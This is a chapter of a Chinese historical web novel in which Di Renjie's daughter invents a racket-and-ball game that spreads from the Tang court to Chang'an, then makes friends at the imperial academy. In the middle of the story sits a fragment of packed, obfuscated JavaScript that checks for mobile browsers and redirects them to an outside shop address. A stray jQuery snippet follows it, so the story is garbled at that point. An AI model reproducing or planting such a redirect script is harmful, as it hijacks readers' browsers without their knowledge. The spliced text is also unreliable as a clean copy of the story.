李治被她这句话激起了好胜心,弯腰捡起球,这回认真了。他年轻时也是马球场上过来的人,虽然这些年被头风磨去了大半体力,但眼力和手上的分寸还在。
下一个球他不再蛮打,瞅准武媚娘站位偏左,球便朝右边飞了过去。武媚娘没追上,球落在地上弹了几弹,滚进了花圃。
“好!”太平很给面子在场边带头叫好,李明策也跟着拍手,望舒热情的当了气氛组。
打了几回李治直起腰,脸上浮起薄汗,苍白的面色里难得透出一丝红润,有几分年轻时在龙首原上打马球的快意。
“再来!”
他朝对面喊道,声音都比平日洪亮了几分。
那天下午,李治和武媚娘在球场上打了小半个时辰。
武媚娘怕他累着,几次说要歇,李治都摆手说不累。
最后还是太平硬把两人拉下来,说日头大了,晒久了要头疼。李治这才意犹未尽地搁下拍子,接过内侍递来的帕子擦汗,喘着气,“这东西好。”
他坐在廊下喝茶歇息,“不费马力,不拘场地,朕也能打上半个时辰。比马球温和,比投壶痛快,倒是——”
他想了想,找了很贴切的评语:“养生又健体。”
武媚娘也在旁边坐下,接过茶盏抿了一口,看了一眼正在收拾球拍的望舒:“听说这玩意儿是望舒那丫头琢磨出来的?”
太平抢着答道:“就是她!她画了图样,找西市的匠人做的,儿臣看着有趣才拿来玩的。”
李治看了望舒一眼,点了点头:“狄卿这个女儿,心思倒是灵巧,诗写得好,玩意儿也做得巧。”
武媚娘笑着重赏了望舒,望舒的小金库又足了,晚上狄仁杰凑上去说帮她保管,望舒才不干,她自己会管!
哪有大人跟小孩要钱的,她爹真不害臊!
皇帝在禁苑里挥拍打球的事,不出两日便传遍了宫中内侍省,又到朝臣耳中,于是纷纷托人去打听那拍子是什么模样、球是什么材质、在哪里能买到。
后来连皇子们也被惊动了,太子李弘都差了人来问。李治听说太子也感兴趣,越发觉得这东西值得推广,便下了一道口谕,让少府监的工匠照着样子精制几套,分赐诸王公主。
少府监的工匠拿了望舒那套原版拍子去研究,不出几日便做出了改良的版本,拍框用檀木嵌竹片,既轻又韧。网面用上好的丝弦编织,比牛筋更弹。握柄处裹的是细鹿皮,柔软吸汗。
球的工艺更是讲究,弹性更均匀。连装球拍的锦袋都绣了银线的云纹,系带上缀着珊瑚珠子。
太平拿到少府监精制的新球拍,爱不释手,又特意多要了一套,说是要赏人。
望舒自然得了一套最好的。
上有所好,下有所效。
皇帝喜欢的东西,从来不需要谁来推广,先是宗室贵戚,再是勋贵武将,然后是长安城里的富商豪贾,一层一层地往下传。
而这一切热闹的中心,尉迟良此刻正蹲在自己铺子里,对着满桌的订单和十几个徒弟,愁得直揪胡子。
他其实不爱接这些,但来买的人他得罪不起,订单就像雪片一样飞进来。
他手下统共就十几个徒弟,自己提了一壶酒,到狄府求见。
望舒正在院子里对着墙面练球,听见门房通传,便让人把他请了进来。尉迟良进了院子,四下看了看,把酒壶搁在石桌上,搓了搓手,开门见山。
“狄小娘子,你当初画那张图样给老夫,老夫只当是小孩子的玩具,收了你工钱,替你做出来,两清了。可如今这东西火遍了长安城,连宫里的订单都来了。”
望舒放下球拍,心里大概猜到了他的来意。尉迟良是个实诚人,换了个精明的商人,闷声发大财就是了,哪里还会提着酒壶上门来找一个小姑娘理论。
“尉迟师傅是想怎么个意思?”
尉迟良坐下来,正色道:“老夫是这么想的。往后老夫的铺子里做这个球和拍子,每卖出一套,分小娘子一成利。就当是买你那张图样的花红,你看如何?”
望舒拿起石桌上的茶壶给他倒了杯水,“尉迟师傅,我不要一成,我要两成。”
尉迟良嘶了一声,胡子都翘了起来:“两成?小娘子,你也太狠了。老夫要进料、要养徒弟、要付铺子租金、要应付各路来打秋风的,一成已经是老夫咬着牙给的了。两成——”
“那一成五。”
望舒打断他,笑着道,“您出铺子、出人手、出材料,我出图样,往后还可以出改良的图样。别觉得亏,你想想,若是你自己去琢磨,能琢磨出这东西来吗?”
尉迟良瞪着她,瞪了好一会儿,“行,一成五。但你以后再有新花样,得先给老夫的铺子做。别让老夫辛辛苦苦给你做出来,你转头把图样卖给别家,那老夫可就血本无归了。”
望舒伸出手来,与他击了一掌,笑盈盈地道:“一言为定,尉迟师傅,您往后就知道了,跟我合伙,您只赚不赔。”
尉迟良走后,望舒回到屋里,坐在床沿上,数着这小箱银锞子,是她在这个时代自己挣下的第一笔钱。
别人赏的和自己挣的不一样,这让她发现了新的致富之路。
那她会玩的东西很多啊。
不对,她不能过于会玩了,这样会让她失了仕途。
她是个稳重的孩子!
望舒天不亮就被崔夫人从被窝里挖了出来,新裁的襦裙平整,外罩雨过天青的半臂,头发梳成双鬟髻,簪了两朵珍珠花。崔夫人一边替她系腰带一边念叨,望舒听得耳朵起茧,好不容易熬到出门,跳上马车便催着车夫快走。
马车到了国子监门口,望舒跳下车,门内苍松翠柏夹道而立,晨曦从枝叶间筛下来,在青石板上投下细碎的光。三三两两的学子鱼贯而入,褒衣博带,环佩叮当。她如今走在其中,已不再有人驻足侧目——
同窗一个多月,众人早已见怪不怪,熟悉的人会打招呼。望舒刚来不久,一直在赶学习进度,也没时间交友。
明显在学堂她年龄最小,学的东西比较深,她又是书法苦手,夫子看她年龄小,才没多说什么。
讲堂里到了大半的人,三三两两地交头接耳,望舒穿过过道,走到自己的座位前,秦昀已经坐在后面了,正低头看书,听见脚步声也没抬头。
同窗家世都差不多,望舒觉得还好自己有天后这后台,不然她就是家世最低的了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552277|204306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>唉,她爹什么拜相啊!
这么多年没升官,有没有反思自己?
望舒坐下,从书袋里摸到一个油纸包,拿出来转身搁在了秦昀的案头。
油纸包还温热着,透出淡淡的甜香。
秦昀的目光从书上移开,落在那油纸包上,抬起头看了望舒一眼,微微一愣。
“昨日阿娘做了糕点,是用西域的牛乳和鸡子调的,蒸出来又香又软。我带多了,分你几块。”
秦昀看着那油纸包,他在国子学里是出了名的寡言冷淡,平日除了夫子提问,几乎不主动开口。
同窗们敬他家世,却也怵他那副生人勿近的气场,很少有人主动凑上来搭话,更不用说给他带吃食了。
这对于他来说比较新鲜的,“……多谢。”
望舒见他收了,笑了笑,转过身去准备上课。
她要想安生在这群王孙二代里读书,还是得有人罩的,不然这些人要是有恶意,以后她考试考好了,见她年龄小,又是个女娃,觉得没面子,坏她名声整她。
女孩的嫉妒心最多排挤她,男孩的嫉妒心是很可怕的。
她被人编排去找天后告状,吃亏的也是她,家里肯定不会放心她继续来读书了。
很多事大人不会看过程,只看结果,连学校都待不下去,以后怎么在朝廷里待呢?
卢夫子依旧讲《礼记》,今天讲到《曲礼》篇,抑扬顿挫地念着“毋不敬,俨若思,安定辞”,前面的学子们在夫子眼皮底下,只得正襟危坐,后面的偷偷在案下翻别的书。
望舒听得认真,不时提笔记下要点,好容易挨到中午散学,学子们三三两两地往外走,去食堂吃饭。望舒把笔墨收好,正要起身,觉得身后有人碰了碰她的肩膀。
她转过头。
秦昀站在她身后,眼神却不像平时那么沉稳笃定,飘忽地落在窗棂上,又飘回来,嘴唇动了动,像是有什么话在舌尖上打了个转,死活吐不出来。
望舒耐心等着,她认识秦昀这些日子,知道这人不是故意摆冷脸,他是真的不太会跟人闲聊。
僵了好一会儿,秦昀终于开口了,“那个……狄娘子。”
“嗯?”
“最近长安城里到处在打的那个,用拍子打来打去的球——”他顿了顿,斟酌了一会措辞,“听说,是你想出来的?”
望舒眨了眨眼,明白他在别扭什么了,她忍着笑,点点头:“是我画的图样,找西市的匠人做的,怎么了?”
秦昀垂下眼帘,语速比平时快了几分,“我前日在校场见人打了一场,觉得有点意思。但尉迟师傅那要等太久了,你有没有多出来拍子?”
望舒看着他努力维持镇定,耳根却悄悄红了的模样,她笑起来,眉眼弯弯的,声音脆亮:“当然有,正好今天下午是武课,我们没事,我教你打网球。”
对秦昀来说,武课过于简单,他都能打得过夫子。对于望舒来说,过于困难,夫子让她先自己锻炼。
秦昀忙答应下来,“那就有劳狄娘子了。”
秦昀再怎么看着稳重,现在也只是十一岁的少年,约马球其实很麻烦,要场地,要人数,他学业重,还得习武,时间没那么多。